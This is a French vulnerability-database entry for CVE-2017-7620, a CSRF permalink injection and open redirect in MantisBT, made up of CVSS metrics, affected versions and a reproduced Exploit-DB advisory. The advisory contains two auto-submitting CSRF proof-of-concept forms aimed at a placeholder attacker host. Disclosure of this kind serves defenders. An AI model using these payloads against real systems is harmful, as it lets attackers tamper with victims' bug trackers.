CVE-2017-7620 : Détail

CVE-2017-7620

6.5
/
Moyen
Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.37%V3
Network
2017-05-21
12h00 +00:00
2017-07-07
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

MantisBT before 1.3.11, 2.x before 2.3.3, and 2.4.x before 2.4.1 omits a backslash check in string_api.php and consequently has conflicting interpretations of an initial \/ substring as introducing either a local pathname or a remote hostname, which leads to (1) arbitrary Permalink Injection via CSRF attacks on a permalink_page.php?url= URI and (2) an open redirect via a login_page.php?return= URI.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42043

Date de publication : 2017-05-19 22h00 +00:00
Auteur : hyp3rlinx
EDB Vérifié : No

[+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt [+] ISR: ApparitionSec Vendor: ================ www.mantisbt.org Product: ========= Mantis Bug Tracker 1.3.10 / v2.3.0 MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases. Vulnerability Type: ======================== CSRF Permalink Injection CVE Reference: ============== CVE-2017-7620 Security Issue: ================ Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage. Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes. Line: 270 # Check for URL's pointing to other domains if( 0 == $t_type || empty( $t_matches['script'] ) || 3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) { return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php'; } # Start extracting regex matches $t_script = $t_matches['script']; $t_script_path = $t_matches['path']; Exploit/POC: ============= <form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST"> <script>document.forms[0].submit()</script> </form> OR <form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST"> <script>document.forms[0].submit()</script> </form> Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: April 9, 2017 Vendor Release Fix: May 15, 2017 Vendor Disclosed: May 20, 2017 May 20, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Products Mentioned

Configuraton 0

Mantisbt>>Mantisbt >> Version To (including) 1.3.10

Mantisbt>>Mantisbt >> Version 2.0.0

Mantisbt>>Mantisbt >> Version 2.0.1

Mantisbt>>Mantisbt >> Version 2.1.0

Mantisbt>>Mantisbt >> Version 2.1.1

Mantisbt>>Mantisbt >> Version 2.1.2

Mantisbt>>Mantisbt >> Version 2.2.0

Mantisbt>>Mantisbt >> Version 2.2.2

Mantisbt>>Mantisbt >> Version 2.2.3

Mantisbt>>Mantisbt >> Version 2.2.4

Mantisbt>>Mantisbt >> Version 2.4.0

Références

http://www.securitytracker.com/id/1038538
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42043/
Tags : exploit, x_refsource_EXPLOIT-DB